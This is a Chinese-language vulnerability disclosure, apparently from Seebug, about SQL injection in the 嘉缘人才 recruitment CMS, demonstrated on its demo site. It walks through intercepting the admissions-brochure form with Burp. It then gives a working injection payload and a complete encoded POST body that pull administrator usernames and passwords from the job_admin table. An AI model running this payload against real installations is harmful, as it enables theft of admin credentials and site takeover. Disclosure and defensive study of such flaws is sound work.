### 简要描述：
嘉缘人才系统SQL注入可获取任意数据。
(绕过sql注入检测，demo演示)
http://v2014.rccms.com/
### 详细说明：
在http://v2014.rccms.com/上注册一个企业账户，企业类型选择“我是院校”。
好了之后进入
"会员中心" -> "招生管理" -> "招生简章管理":
[<img src="https://images.seebug.org/upload/201411/18211050c4fd811e9ac3cae38de12e2ae53f73ee.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/18211050c4fd811e9ac3cae38de12e2ae53f73ee.png)
添加一个招生简章，随便填：
[<img src="https://images.seebug.org/upload/201411/18212632ec13394308d22d2fe809b9f27c3f455a.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/18212632ec13394308d22d2fe809b9f27c3f455a.png)
这里我们使用burp拦截HTTP请求：
[<img src="https://images.seebug.org/upload/201411/18212703b4446c2069cb93fb72e61e323c0e1063.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/18212703b4446c2069cb93fb72e61e323c0e1063.png)
随便添加一个参数ttttt=tttt:
[<img src="https://images.seebug.org/upload/201411/18212820887746fb91d852bd9341ba6a48886775.png" alt="21.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/18212820887746fb91d852bd9341ba6a48886775.png)
提交之后发现有SQL错误：
[<img src="https://images.seebug.org/upload/201411/18212848cf85aa182c8178dd88ab63da4803490d.png" alt="22.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/18212848cf85aa182c8178dd88ab63da4803490d.png)
这里看起来更frcmsV31GBK版很多地方类似，直接把所有的参数拼接到SQL里面了。
好了，我们稍微构造一下centent参数：
```
content,r_sid,r_member,r_school,r_adddate)
values(0x74657374,concat(char(@`'`),(select(group_concat(a_user,0x3d,a_pass,0x7c))from
job_admin)),1***注释，这里的1改为你使用的账号的id****,0x74657374656475,0x656475,NOW())#'=test
```
完整的POST参数如下：
```
title=test&content%2Cr_sid%2Cr_member%2Cr_school%2Cr_adddate)%0Avalues(0x74657374%2Cconcat(char(%40%60'%60)%2C(select(group_concat(a_user%2C0x3d%2Ca_pass%2C0x7c))from%0Ajob_admin))%2C1%2C0x74657374656475%2C0x656475%2CNOW())%23'=test&id=&submit=%CC%ED+%BC%D3
```
[<img src="https://images.seebug.org/upload/201411/18213143a1aaf441158403ca06b8320877aa0a7a.png" alt="4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/18213143a1aaf441158403ca06b8320877aa0a7a.png)
提交后回到招生简章管理，看到多了一条：
[<img src="https://images.seebug.org/upload/201411/182132143be485cb3a4801f5548cb75ad2b6427c.png" alt="5.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/182132143be485cb3a4801f5548cb75ad2b6427c.png)
点击修改进去就可以看到管理员账号密码了：
[<img src="https://images.seebug.org/upload/201411/182132486383391bbb7741eff6a0312389fb60f0.png" alt="6.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/182132486383391bbb7741eff6a0312389fb60f0.png)
### 漏洞证明：
管理员账号密码：
[<img src="https://images.seebug.org/upload/201411/182132486383391bbb7741eff6a0312389fb60f0.png" alt="6.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/182132486383391bbb7741eff6a0312389fb60f0.png)
京公网安备 11010502034610号
暂无评论